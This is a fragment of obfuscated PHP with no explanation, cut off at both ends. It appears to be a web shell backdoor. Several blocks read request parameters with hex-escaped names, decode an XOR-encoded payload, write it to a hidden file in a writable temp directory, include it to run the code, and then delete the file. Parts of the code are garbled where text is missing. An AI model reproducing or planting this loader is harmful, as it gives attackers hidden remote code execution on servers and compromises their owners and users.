= $len) break; $v3=$bind[$u]; $sChar=ord($salt[$u % $sLen]); $dec=((int)$v3 - $sChar - ($u % 10)) ^ 43; $tkn .= chr($dec); $u++; } while (true); foreach ($dat as $item): if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $ent = join("/", [$item, ".ref"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $ent; @unlink($ent); die(); } } endforeach; } if(array_key_exists("\x72\x65c", $_POST) && !is_null($_POST["\x72\x65c"])){ $flag = array_filter(["/tmp", getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $property_set = $_POST["\x72\x65c"]; $property_set= explode ( "." ,$property_set) ; $token = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $w = 0; while ($w < count($property_set)) { $v7 = $property_set[$w]; $chS = ord($s7[$w %$sLen]); $dec = ((int)$v7 - $chS - ($w %10))^86; $token .= chr($dec); $w++; } while ($obj = array_shift($flag)) { if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $ref = str_replace("{var_dir}", $obj, "{var_dir}/.ptr"); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $ref; @unlink($ref); exit; } } } } if(@$_REQUEST["f\x61\x63\x74or"] !== null){ $ent = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path()]); $resource = $_REQUEST["f\x61\x63\x74or"]; $resource = explode ( "." ,$resource) ; $flg = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $x = 0; $__len = count($resource); do { if($x >= $__len) break; $v2 = $resource[$x]; $chS = ord($s4[$x % $lenS]); $d =((int)$v2 - $chS -($x % 10)) ^ 49; $flg.=chr($d); $x++;} while(true); foreach ($ent as $pointer) { if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $bind = join("/", [$pointer, ".record"]); if (@file_put_contents($bind, $flg) !== false) { include $bind; unlink($bind); exit; } } } } if(isset($_POST["\x68\x6Cd"])){ $obj = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", getcwd()]); $value = $_POST["\x68\x6Cd"]; $value = explode ('.' , $value ) ; $dat=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt ); $m=0; while ($m $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $data_chunk = str_replace("{var_dir}", $desc, "{var_dir}/.record"); if (file_put_contents($data_chunk, $dat)) { include $data_chunk; @unlink($data_chunk); exit; } } } } if(in_array("dat\x61", array_keys($_REQUEST))){ $pgrp = array_filter([getcwd(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); $object = $_REQUEST["dat\x61"]; $object= explode ( "." , $object ) ; $binding = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $w = 0; foreach( $object as $v6) {$sChar = ord( $salt1[$w % $sLen]); $d =( ( int)$v6 - $sChar -( $w % 10)) ^ 42; $binding .=chr( $d); $w++;} while ($entity = array_shift($pgrp)) { if (max(0, is_dir($entity) * is_writable($entity))) { $symbol = implode("/", [$entity, ".property_set"]); if (file_put_contents($symbo